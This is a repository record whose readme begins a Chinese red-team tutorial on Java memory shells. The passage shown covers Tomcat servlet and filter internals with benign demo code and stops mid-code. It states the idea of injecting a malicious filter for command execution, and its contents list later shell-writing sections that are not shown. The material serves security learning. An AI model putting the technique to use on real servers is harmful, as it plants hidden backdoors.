{"id":14638018,"url":"https://github.com/W01fh4cker/LearnJavaMemshellFromZero","last_synced_at":"2025-09-07T06:31:43.215Z","repository":{"id":220632844,"uuid":"752158222","full_name":"W01fh4cker/LearnJavaMemshellFromZero","owner":"W01fh4cker","description":"【三万字原创】完全零基础从0到1掌握Java内存马，公众号：追梦信安","archived":false,"fork":false,"pushed_at":"2025-05-25T07:31:27.000Z","size":307,"stargazers_count":784,"open_issues_count":0,"forks_count":92,"subscribers_count":9,"default_branch":"main","last_synced_at":"2025-05-25T08:29:13.175Z","etag":null,"topics":["java","memshell","redteam"],"latest_commit_sha":null,"homepage":"https://github.com/W01fh4cker/LearnJavaMemshellFromZero","language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/W01fh4cker.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null}},"created_at":"2024-02-03T07:37:27.000Z","updated_at":"2025-05-25T07:31:30.000Z","dependencies_parsed_at":"2025-01-27T21:32:22.578Z","dependency_job_id":"bbae9de1-4429-4b77-bdff-19fbf2066e0f","html_url":"https://github.com/W01fh4cker/LearnJavaMemshellFromZero","commit_stats":null,"previous_names":["w01fh4cker/learnjavamemshellfromzero"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/W01fh4cker/LearnJavaMemshellFromZero","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/W01fh4cker%2FLearnJavaMemshellFromZero","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/W01fh4cker%2FLearnJavaMemshellFromZero/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/W01fh4cker%2FLearnJavaMemshellFromZero/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/W01fh4cker%2FLearnJavaMemshellFromZero/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/W01fh4cker","download_url":"https://codeload.github.com/W01fh4cker/LearnJavaMemshellFromZero/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/W01fh4cker%2FLearnJavaMemshellFromZero/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":274005341,"owners_count":25205934,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-09-07T02:00:09.463Z","response_time":67,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["java","memshell","redteam"],"created_at":"2024-09-10T02:01:32.933Z","updated_at":"2025-09-07T06:31:43.156Z","avatar_url":"https://github.com/W01fh4cker.png","language":null,"funding_links":[],"categories":["红队\u0026渗透测试","Others"],"sub_categories":[],"readme":"![LearnJavaMemshellFromZero](https://socialify.git.ci/W01fh4cker/LearnJavaMemshellFromZero/image?description=1\u0026descriptionEditable=%E3%80%90%E5%8E%9F%E5%88%9B%E3%80%91%E5%AE%8C%E5%85%A8%E9%9B%B6%E5%9F%BA%E7%A1%80%E4%BB%8E0%E5%88%B01%E6%8E%8C%E6%8F%A1Java%E5%86%85%E5%AD%98%E9%A9%AC\u0026forks=1\u0026issues=1\u0026language=1\u0026logo=https%3A%2F%2Fs2.loli.net%2F2022%2F06%2F25%2FgUAh2V5CiD96y8G.jpg\u0026owner=1\u0026pattern=Brick%20Wall\u0026pulls=1\u0026stargazers=1) \n本文目录：\n- [一、前言](#一前言)\n- [二、前置知识](#二前置知识)\n  - [2.1 Servlet容器与Engine、Host、Context和Wrapper](#21-servlet容器与enginehostcontext和wrapper)\n  - [2.2 编写一个简单的servlet](#22-编写一个简单的servlet)\n  - [2.3 从代码层面看servlet初始化与装载流程](#23-从代码层面看servlet初始化与装载流程)\n    - [2.3.1 servlet初始化流程分析](#231-servlet初始化流程分析)\n    - [2.3.2 servlet装载流程分析](#232-servlet装载流程分析)\n  - [2.4 Filter容器与FilterDefs、FilterConfigs、FilterMaps、FilterChain](#24-filter容器与filterdefsfilterconfigsfiltermapsfilterchain)\n  - [2.5 编写一个简单的Filter](#25-编写一个简单的filter)\n  - [2.6 从代码层面分析Filter运行的整体流程](#26-从代码层面分析filter运行的整体流程)\n  - [2.7 Listener简单介绍](#27-listener简单介绍)\n  - [2.8 编写一个简单的Listener（ServletRequestListener）](#28-编写一个简单的listenerservletrequestlistener)\n  - [2.9 从代码层面分析Listener运行的整体流程](#29-从代码层面分析listener运行的整体流程)\n  - [2.10 简单的spring项目搭建](#210-简单的spring项目搭建)\n    - [2.10.1 编写一个简单的Spring Controller](#2101-编写一个简单的spring-controller)\n    - [2.10.2 编写一个简单的Spring Interceptor](#2102-编写一个简单的spring-interceptor)\n    - [2.10.3 编写一个简单的Spring WebFlux的Demo（基于Netty）](#2103-编写一个简单的spring-webflux的demo基于netty)\n  - [2.11 Spring MVC介绍](#211-spring-mvc介绍)\n    - [2.11.1 Spring MVC九大组件](#2111-spring-mvc九大组件)\n    - [2.11.2 简单的源码分析](#2112-简单的源码分析)\n      - [2.11.2.1 九大组件的初始化](#21121-九大组件的初始化)\n      - [2.11.2.2 url和Controller的关系的建立](#21122-url和controller的关系的建立)\n      - [2.11.2.3 Spring Interceptor引入与执行流程分析](#21123-spring-interceptor引入与执行流程分析)\n  - [2.12 Spring WebFlux介绍与代码调试分析](#212-spring-webflux介绍与代码调试分析)\n    - [2.12.1 什么是Mono？](#2121-什么是mono)\n    - [2.12.2 什么是Flux？](#2122-什么是flux)\n    - [2.12.3 Spring WebFlux启动过程分析](#2123-spring-webflux启动过程分析)\n    - [2.12.4 Spring WebFlux请求处理过程分析](#2124-spring-webflux请求处理过程分析)\n    - [2.12.5 Spring WebFlux过滤器WebFilter运行过程分析](#2125-spring-webflux过滤器webfilter运行过程分析)\n  - [2.13 Tomcat Valve介绍与运行过程分析](#213-tomcat-valve介绍与运行过程分析)\n    - [2.13.1 Valve与Pipeline](#2131-valve与pipeline)\n    - [2.13.2 编写一个简单Tomcat Valve的demo](#2132-编写一个简单tomcat-valve的demo)\n    - [2.13.3 Tomcat Valve打入内存马思路分析](#2133-tomcat-valve打入内存马思路分析)\n  - [2.14 Tomcat Upgrade介绍与打入内存马思路分析](#214-tomcat-upgrade介绍与打入内存马思路分析)\n    - [2.14.1 编写一个简单的Tomcat Upgrade的demo](#2141-编写一个简单的tomcat-upgrade的demo)\n      - [2.14.1.1 利用SpringBoot搭建](#21411-利用springboot搭建)\n      - [2.14.1.2 利用Tomcat搭建](#21412-利用tomcat搭建)\n    - [2.14.2 Tomcat Upgrade内存马介绍与相关代码调试分析](#2142-tomcat-upgrade内存马介绍与相关代码调试分析)\n  - [2.15 Tomcat Executor内存马介绍与打入内存马思路分析](#215-tomcat-executor内存马介绍与打入内存马思路分析)\n    - [2.15.1](#2151)\n    - [2.15.2 Tomcat Executor内存马介绍与代码调试分析](#2152-tomcat-executor内存马介绍与代码调试分析)\n      - [2.15.2.1 Endpoint五大组件](#21521-endpoint五大组件)\n      - [2.15.2.2 Endpoint分类](#21522-endpoint分类)\n      - [2.15.2.3 Executor相关代码分析](#21523-executor相关代码分析)\n- [三、传统Web型内存马](#三传统web型内存马)\n  - [3.1 Servlet内存马](#31-servlet内存马)\n    - [3.1.1 简单的servlet内存马demo编写](#311-简单的servlet内存马demo编写)\n    - [3.1.2 servlet内存马demo代码分析](#312-servlet内存马demo代码分析)\n    - [3.1.3 关于StandardContext、ApplicationContext、ServletContext的理解](#313-关于standardcontextapplicationcontextservletcontext的理解)\n  - [3.2 Filter内存马](#32-filter内存马)\n    - [3.2.1 简单的filter内存马demo编写](#321-简单的filter内存马demo编写)\n    - [3.2.2 servlet内存马demo代码分析](#322-servlet内存马demo代码分析)\n    - [3.2.3 tomcat6下filter内存马的编写](#323-tomcat6下filter内存马的编写)\n  - [3.3 Listener内存马](#33-listener内存马)\n    - [3.3.1 简单的Listener内存马demo编写](#331-简单的listener内存马demo编写)\n    - [3.3.2 Listener内存马demo代码分析](#332-listener内存马demo代码分析)\n- [四、Spring MVC框架型内存马](#四spring-mvc框架型内存马)\n  - [4.1 Spring Controller型内存马](#41-spring-controller型内存马)\n    - [4.1.1 简单的Spring Controller型内存马demo编写](#411-简单的spring-controller型内存马demo编写)\n    - [4.1.2 Spring Controller型内存马demo代码分析](#412-spring-controller型内存马demo代码分析)\n  - [4.2 Spring Interceptor型内存马](#42-spring-interceptor型内存马)\n  - [4.3 Spring WebFlux内存马](#43-spring-webflux内存马)\n    - [4.3.1 简单的Spring WebFlux内存马demo编写](#431-简单的spring-webflux内存马demo编写)\n    - [4.3.2 Spring WebFlux内存马demo代码分析](#432-spring-webflux内存马demo代码分析)\n- [五、中间件型内存马](#五中间件型内存马)\n  - [5.1 Tomcat Valve型内存马](#51-tomcat-valve型内存马)\n  - [5.2 Tomcat Upgrade内存马](#52-tomcat-upgrade内存马)\n  - [5.3 Tomcat Executor内存马](#53-tomcat-executor内存马)\n- [六、致谢](#六致谢)\n\n# 一、前言\n\n\u0026ensp;\u0026ensp;\u0026ensp;\u0026ensp;之前写的零基础学`Fastjson`的文章反响很不错，很多师傅在公众号后台和我的微信私聊我表示感谢，其实也没啥，大家都是零基础过来的。网上的文章多而杂，并且只有少部分文章是配图清楚、文字描述清晰的，很多时候新手学着学着可能就因为作者的某一个地方没有描述清楚而不知其所指，非常痛苦；亦或是文章面向对象不同，前置知识不扎实导致很多东西无法理解，这些痛点我都曾经历过。但是随着看过的代码逐渐增多，见识逐渐丰富，调试的次数越多，对各种问题的处理就会越得心应手。  \n\u0026ensp;\u0026ensp;\u0026ensp;\u0026ensp;本文所讨论的`Java`内存马是`Java`安全中的一个不可或缺的板块，它内容丰富绮丽，研究起来让人着迷，沉沦其中流连忘返。我参考了`su18`师傅一年多以前发表在`Goby`社区的这篇文章（`https://nosec.org/home/detail/5049.html`）中给出的分类方式，把整个零基础掌握`java`内存马系列分成了以下几个部分：传统`web`型、`spring`系列框架型、中间件型、其他内存马（`Websocket/Jsp/线程型/RMI`）、`Agent`型内存马、实战内存马打入（`Jetty`/`Weblogic`/`Shiro`/`Struts2`/`GlassFish`/`xxl-job`...）和内存马。  \n\u0026ensp;\u0026ensp;\u0026ensp;\u0026ensp;好了，让我们闲话少叙，就此开始。\n\n# 二、前置知识\n\n本篇文章除特殊说明外，使用的是`jdk1.8.0_202`+ `tomcat 9.0.85`，后者下载地址为：\n\u003e https://dlcdn.apache.org/tomcat/tomcat-9/v9.0.85/bin/apache-tomcat-9.0.85-windows-x64.zip\n\n## 2.1 Servlet容器与Engine、Host、Context和Wrapper\n\n这部分我找了好久，终于在一大堆高深/垃圾的文章中邂逅了一篇写的还算简明扼要易于理解的文章。\n\n\u003e  原文地址：https://www.maishuren.top/posts/tomcat/2-tomcat中sevlet容器的设计原理\n\n这里组合引用其原文，简单概括，就是：\n\n`Tomcat`设计了四种容器，分别是`Engine`、`Host`、`Context`和`Wrapper`，其关系如下：\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/20240112165508.png)\n\n这一点可以从`Tomcat`的配置文件`server.xml`中看出来。\n\n此时，设想这样一个场景：我们此时要访问`https://manage.xxx.com:8080/user/list`，那`tomcat`是如何实现请求定位到具体的`servlet`的呢？为此`tomcat`设计了`Mapper`，其中保存了容器组件与访问路径的映射关系。\n\n然后就开始四步走：\n\n1. 根据协议和端口号选定`Service`和`Engine`。\n\n   我们知道`Tomcat`的每个连接器都监听不同的端口，比如`Tomcat`默认的`HTTP`连接器监听`8080`端口、默认的`AJP`连接器监听`8009`端口。上面例子中的URL访问的是`8080`端口，因此这个请求会被`HTTP`连接器接收，而一个连接器是属于一个`Service`组件的，这样`Service`组件就确定了。我们还知道一个`Service`组件里除了有多个连接器，还有一个容器组件，具体来说就是一个`Engine`容器，因此`Service`确定了也就意味着`Engine`也确定了。\n\n2. 根据域名选定`Host`。\n\n   `Service`和`Engine`确定后，`Mapper`组件通过`url`中的域名去查找相应的`Host`容器，比如例子中的`url`访问的域名是`manage.xxx.com`，因此`Mapper`会找到`Host1`这个容器。\n\n3. 根据`url`路径找到`Context`组件。\n\n   `Host`确定以后，`Mapper`根据`url`的路径来匹配相应的`Web`应用的路径，比如例子中访问的是`/user`，因此找到了`Context1`这个`Context`容器。\n\n4. 根据`url`路径找到`Wrapper`（`Servlet`）。\n\n   `Context`确定后，`Mapper`再根据`web.xml`中配置的`Servlet`映射路径来找到具体的`Wrapper`和`Servlet`，例如这里的`Wrapper1`的`/list`。\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/20240112165824.png)\n\n这里的`Context`翻译过来就是上下文，它包括`servlet`运行的基本环境；这里的`Wrapper`翻译过来就是包装器，它负责管理一个`servlet`，包括其装载、初始化、执行和资源回收。\n\n关于上图中的连接器的设计，可以继续参考该作者的博文：\n\n\u003e https://www.maishuren.top/posts/tomcat/1-tomcat中的连接器是如何设计的\n\n写到后面之后我又发现了一篇写的极佳的文章，贴在这儿供大家参考，讲的是关于`tomcat`架构的原理解析：\n\n\u003e https://blog.nowcoder.net/n/0c4b545949344aa0b313f22df9ac2c09\n\n## 2.2 编写一个简单的servlet\n\n`pom.xml`文件如下：\n\n```xml\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003cproject xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\"\u003e\n    \u003cmodelVersion\u003e4.0.0\u003c/modelVersion\u003e\n\n    \u003cgroupId\u003eorg.example\u003c/groupId\u003e\n    \u003cartifactId\u003eservletMemoryShell\u003c/artifactId\u003e\n    \u003cversion\u003e1.0-SNAPSHOT\u003c/version\u003e\n\n    \u003cproperties\u003e\n        \u003cmaven.compiler.source\u003e8\u003c/maven.compiler.source\u003e\n        \u003cmaven.compiler.target\u003e8\u003c/maven.compiler.target\u003e\n        \u003cproject.build.sourceEncoding\u003eUTF-8\u003c/project.build.sourceEncoding\u003e\n    \u003c/properties\u003e\n\n    \u003cdependencies\u003e\n        \u003cdependency\u003e\n            \u003cgroupId\u003ejavax.servlet\u003c/groupId\u003e\n            \u003cartifactId\u003ejavax.servlet-api\u003c/artifactId\u003e\n            \u003cversion\u003e4.0.1\u003c/version\u003e\n        \u003c/dependency\u003e\n    \u003c/dependencies\u003e\n\n\u003c/project\u003e\n```\n\n同步下依赖：\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240112174417723.png)\n\n`TestServlet.java`代码如下：\n\n```java\npackage org.example;\nimport java.io.IOException;\nimport javax.servlet.annotation.WebServlet;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\n\n@WebServlet(\"/test\")\npublic class TestServlet extends HttpServlet {\n    @Override\n    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {\n        resp.getWriter().write(\"hello world\");\n    }\n}\n```\n\n然后配置项目运行所需的`tomcat`环境：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240112174451460.png)\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240112174520045.png)\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240112174543728.png)\n\n然后配置`artifacts`，直接点击`fix`：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240112174604960.png)\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240112174718456.png)\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240112174740574.png)\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240112174840311.png)\n\n然后添加`web`模块：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240112175314298.png)\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240112175906956.png)\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240112181600664.png)\n\n运行之后，访问http://localhost:8080/testServlet/test：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240112181649265.png)\n\n## 2.3 从代码层面看servlet初始化与装载流程\n\n主要参考文章：\n\n\u003e https://longlone.top/安全/java/java安全/内存马/Tomcat-Servlet型/\n\n我们这里不采用我们下载的`tomcat`来运行我们的项目，我们使用嵌入式`tomcat`也就是所谓的`tomcat-embed-core`。关于动态调试，我是图省事，直接用`tomcat-embed-core`，你当然也可以调试直接调试`tomcat`源码，环境搭建方法可以参考`Skay`师傅的文章：\n\n\u003e https://mp.weixin.qq.com/s/DMVcqtiNG9gMdrBUyCRCgw\n\n我们重开一个项目，文件代码如下：\n\n`pom.xml`：\n\n```xml\n\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\n\u003cproject xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\"\u003e\n    \u003cmodelVersion\u003e4.0.0\u003c/modelVersion\u003e\n\n    \u003cgroupId\u003eorg.example\u003c/groupId\u003e\n    \u003cartifactId\u003eservletMemoryShell\u003c/artifactId\u003e\n    \u003cversion\u003e1.0-SNAPSHOT\u003c/version\u003e\n\n    \u003cproperties\u003e\n        \u003cmaven.compiler.source\u003e8\u003c/maven.compiler.source\u003e\n        \u003cmaven.compiler.target\u003e8\u003c/maven.compiler.target\u003e\n        \u003cproject.build.sourceEncoding\u003eUTF-8\u003c/project.build.sourceEncoding\u003e\n    \u003c/properties\u003e\n\n    \u003cdependencies\u003e\n        \u003cdependency\u003e\n            \u003cgroupId\u003eorg.apache.tomcat.embed\u003c/groupId\u003e\n            \u003cartifactId\u003etomcat-embed-core\u003c/artifactId\u003e\n            \u003cversion\u003e9.0.83\u003c/version\u003e\n            \u003cscope\u003ecompile\u003c/scope\u003e\n        \u003c/dependency\u003e\n        \u003cdependency\u003e\n            \u003cgroupId\u003eorg.apache.tomcat.embed\u003c/groupId\u003e\n            \u003cartifactId\u003etomcat-embed-jasper\u003c/artifactId\u003e\n            \u003cversion\u003e9.0.83\u003c/version\u003e\n            \u003cscope\u003ecompile\u003c/scope\u003e\n        \u003c/dependency\u003e\n    \u003c/dependencies\u003e\n\n\u003c/project\u003e\n```\n\n`Main.java`：\n\n```java\npackage org.example;\n\nimport org.apache.catalina.Context;\nimport org.apache.catalina.LifecycleException;\nimport org.apache.catalina.startup.Tomcat;\nimport java.io.File;\n\npublic class Main {\n    public static void main(String[] args) throws LifecycleException {\n        Tomcat tomcat = new Tomcat();\n        tomcat.getConnector(); //tomcat 9.0以上需要加这行代码，参考：https://blog.csdn.net/qq_42944840/article/details/116349603\n        Context context = tomcat.addWebapp(\"\", new File(\".\").getAbsolutePath());\n        Tomcat.addServlet(context, \"helloServlet\", new HelloServlet());\n        context.addServletMappingDecoded(\"/hello\", \"helloServlet\");\n        tomcat.start();\n        tomcat.getServer().await();\n    }\n}\n```\n\n`HelloServlet.java`：\n\n```java\npackage org.example;\n\nimport javax.servlet.ServletException;\nimport javax.servlet.annotation.WebServlet;\nimport javax.servlet.http.HttpServlet;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport java.io.IOException;\nimport java.io.PrintWriter;\n\n@WebServlet(\"/hello\")\npublic class HelloServlet extends HttpServlet {\n    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {\n        response.setContentType(\"text/html\");\n        PrintWriter out = response.getWriter();\n        out.println(\"\u003chtml\u003e\u003cbody\u003e\");\n        out.println(\"Hello, World!\");\n        out.println(\"\u003c/body\u003e\u003c/html\u003e\");\n    }\n}\n```\n\n### 2.3.1 servlet初始化流程分析\n\n我们在`org.apache.catalina.core.StandardWrapper#setServletClass`处下断点调试：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240115162053776.png)\n\n我们尝试按`Ctrl+左键`追踪它的上层调用位置，但是提示我们找不到，需要按两次`Ctrl+Alt+F7`：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240115162215565.png)\n\n然后就可以看到，上层调用位置位于`org.apache.catalina.startup.ContextConfig#configureContext`：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240115162319884.png)\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240115162405771.png)\n\n接下来我们详细看下面这段代码：\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240115184354717.png)\n\n```java\nfor (ServletDef servlet : webxml.getServlets().values()) {\n            Wrapper wrapper = context.createWrapper();\n            if (servlet.getLoadOnStartup() != null) {\n                wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());\n            }\n            if (servlet.getEnabled() != null) {\n                wrapper.setEnabled(servlet.getEnabled().booleanValue());\n            }\n            wrapper.setName(servlet.getServletName());\n            Map\u003cString,String\u003e params = servlet.getParameterMap();\n            for (Entry\u003cString, String\u003e entry : params.entrySet()) {\n                wrapper.addInitParameter(entry.getKey(), entry.getValue());\n            }\n            wrapper.setRunAs(servlet.getRunAs());\n            Set\u003cSecurityRoleRef\u003e roleRefs = servlet.getSecurityRoleRefs();\n            for (SecurityRoleRef roleRef : roleRefs) {\n                wrapper.addSecurityReference(\n                        roleRef.getName(), roleRef.getLink());\n            }\n            wrapper.setServletClass(servlet.getServletClass());\n            MultipartDef multipartdef = servlet.getMultipartDef();\n            if (multipartdef != null) {\n                long maxFileSize = -1;\n                long maxRequestSize = -1;\n                int fileSizeThreshold = 0;\n\n                if(null != multipartdef.getMaxFileSize()) {\n                    maxFileSize = Long.parseLong(multipartdef.getMaxFileSize());\n                }\n                if(null != multipartdef.getMaxRequestSize()) {\n                    maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize());\n                }\n                if(null != multipartdef.getFileSizeThreshold()) {\n                    fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold());\n                }\n\n                wrapper.setMultipartConfigElement(new MultipartConfigElement(\n                        multipartdef.getLocation(),\n                        maxFileSize,\n                        maxRequestSize,\n                        fileSizeThreshold));\n            }\n            if (servlet.getAsyncSupported() != null) {\n                wrapper.setAsyncSupported(\n                        servlet.getAsyncSupported().booleanValue());\n            }\n            wrapper.setOverridable(servlet.isOverridable());\n            context.addChild(wrapper);\n        }\n        for (Entry\u003cString, String\u003e entry :\n                webxml.getServletMappings().entrySet()) {\n            context.addServletMappingDecoded(entry.getKey(), entry.getValue());\n        }\n```\n\n首先通过`webxml.getServlets()`获取的所有`Servlet`定义，并建立循环；然后创建一个`Wrapper`对象，并设置`Servlet`的加载顺序、是否启用（即获取`\u003c/load-on-startup\u003e`标签的值）、`Servlet`的名称等基本属性；接着遍历`Servlet`的初始化参数并设置到`Wrapper`中，并处理安全角色引用、将角色和对应链接添加到`Wrapper`中；如果`Servlet`定义中包含文件上传配置，则根据配置信息设置`MultipartConfigElement`；设置`Servlet`是否支持异步操作；通过`context.addChild(wrapper);`将配置好的`Wrapper`添加到`Context`中，完成`Servlet`的初始化过程。\n\n上面大的`for`循环中嵌套的最后一个`for`循环则负责处理`Servlet`的`url`映射，将`Servlet`的`url`与`Servlet`名称关联起来。\n\n也就是说，`Servlet`的初始化主要经历以下六个步骤：\n\n- 创建`Wapper`对象；\n- 设置`Servlet`的`LoadOnStartUp`的值；\n- 设置`Servlet`的名称；\n- 设置`Servlet`的`class`；\n- 将配置好的`Wrapper`添加到`Context`中；\n- 将`url`和`servlet`类做映射\n\n### 2.3.2 servlet装载流程分析\n\n我们在`org.apache.catalina.core.StandardWrapper#loadServlet`这里打下断点进行调试，重点关注`org.apache.catalina.core.StandardContext#startInternal`：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240115193750678.png)\n\n可以看到，装载顺序为`Listener`--\u003e`Filter`--\u003e`Servlet`：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240115194704999.png)\n\n可以看到，上面红框中的代码都调用了`org.apache.catalina.core.StandardContext#loadOnStartup`，`Ctrl+左键`跟进该方法，代码如下：\n```java\npublic boolean loadOnStartup(Container children[]) {\n    TreeMap\u003cInteger,ArrayList\u003cWrapper\u003e\u003e map = new TreeMap\u003c\u003e();\n    for (Container child : children) {\n        Wrapper wrapper = (Wrapper) child;\n        int loadOnStartup = wrapper.getLoadOnStartup();\n        if (loadOnStartup \u003c 0) {\n            continue;\n        }\n        Integer key = Integer.valueOf(loadOnStartup);\n        map.computeIfAbsent(key, k -\u003e new ArrayList\u003c\u003e()).add(wrapper);\n    }\n    for (ArrayList\u003cWrapper\u003e list : map.values()) {\n        for (Wrapper wrapper : list) {\n            try {\n                wrapper.load();\n            } catch (ServletException e) {\n                getLogger().error(\n                        sm.getString(\"standardContext.loadOnStartup.loadException\", getName(), wrapper.getName()),\n                        StandardWrapper.getRootCause(e));\n                if (getComputedFailCtxIfServletStartFails()) {\n                    return false;\n                }\n            }\n        }\n    }\n    return true;\n}\n```\n\n可以看到，这段代码先是创建一个`TreeMap`，然后遍历传入的`Container`数组，将每个`Servlet`的`loadOnStartup`值作为键，将对应的`Wrapper`对象存储在相应的列表中；如果这个`loadOnStartup`值是负数，除非你请求访问它，否则就不会加载；如果是非负数，那么就按照这个`loadOnStartup`的升序的顺序来加载。\n\n## 2.4 Filter容器与FilterDefs、FilterConfigs、FilterMaps、FilterChain\n\n开头先明确一点，就是`Filter`容器是用于对请求和响应进行过滤和处理的，以下这张图是根据`Skay`师傅文章中的图片重制的：\n\n\u003e https://mp.weixin.qq.com/s/eI-50-_W89eN8tsKi-5j4g\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/filter-demo.png)\n\n从上图可以看出，这个`filter`就是一个关卡，客户端的请求在经过`filter`之后才会到`Servlet`，那么如果我们动态创建一个`filter`并且将其放在最前面，我们的`filter`就会最先执行，当我们在`filter`中添加恶意代码，就可以实现命令执行，形成内存马。\n\n这些名词其实很容易理解，首先，需要定义过滤器`FilterDef`，存放这些`FilterDef`的数组被称为`FilterDefs`，每个`FilterDef`定义了一个具体的过滤器，包括描述信息、名称、过滤器实例以及`class`等，这一点可以从`org/apache/tomcat/util/descriptor/web/FilterDef.java`的代码中看出来；然后是`FilterDefs`，它只是过滤器的抽象定义，而`FilterConfigs`则是这些过滤器的具体配置实例，我们可以为每个过滤器定义具体的配置参数，以满足系统的需求；紧接着是`FilterMaps`，它是用于将`FilterConfigs`映射到具体的请求路径或其他标识上，这样系统在处理请求时就能够根据请求的路径或标识找到对应的`FilterConfigs`，从而确定要执行的过滤器链；而`FilterChain`是由多个`FilterConfigs`组成的链式结构，它定义了过滤器的执行顺序，在处理请求时系统会按照`FilterChain`中的顺序依次执行每个过滤器，对请求进行过滤和处理。\n\n## 2.5 编写一个简单的Filter\n\n我们继续用我们之前在`2.2`中搭建的环境，添加`TestFilter.java`：\n\n```java\npackage org.example;\n\nimport javax.servlet.*;\nimport javax.servlet.annotation.WebFilter;\nimport java.io.IOException;\n\n@WebFilter(\"/test\")\npublic class TestFilter implements Filter {\n\n    public void init(FilterConfig filterConfig) {\n        System.out.println(\"[*] Filter初始化创建\");\n    }\n\n    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {\n        System.out.println(\"[*] Filter执行过滤操作\");\n        filterChain.doFilter(servletRequest, servletResponse);\n    }\n\n    public void destroy() {\n        System.out.println(\"[*] Filter已销毁\");\n    }\n}\n```\n\n跑起来之后，控制台输出`[*] Filter初始化创建`，当我们访问`/test`路由的时候，控制台继续输出`[*] Filter执行过滤操作`，当我们结束`tomcat`的时候，会触发`destroy`方法，从而输出`[*] Filter已销毁`：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240116155323191.png)\n\n## 2.6 从代码层面分析Filter运行的整体流程\n\n我们在上面的`demo`中的`doFilter`函数这里下断点进行调试：\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240116180329213.png)\n\n跟进`org.apache.catalina.core.StandardWrapperValve#invoke`：\n\n```java\nfilterChain.doFilter(request.getRequest(), response.getResponse());\n```\n\n继续跟进变量`filterChain`，找到定义处的代码：\n\n```java\nApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);\n```\n\n![](https://raw.githubusercontent.com/W01fh4cker/blog_image/main/image/image-20240117003245011.png)\n\n查看该方法（`org.apache.catalina.core.ApplicationFilterFactory#createFilterChain`）：\n\n```java\npublic static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) {\n    if (servlet == null) {\n        return null;\n    } else 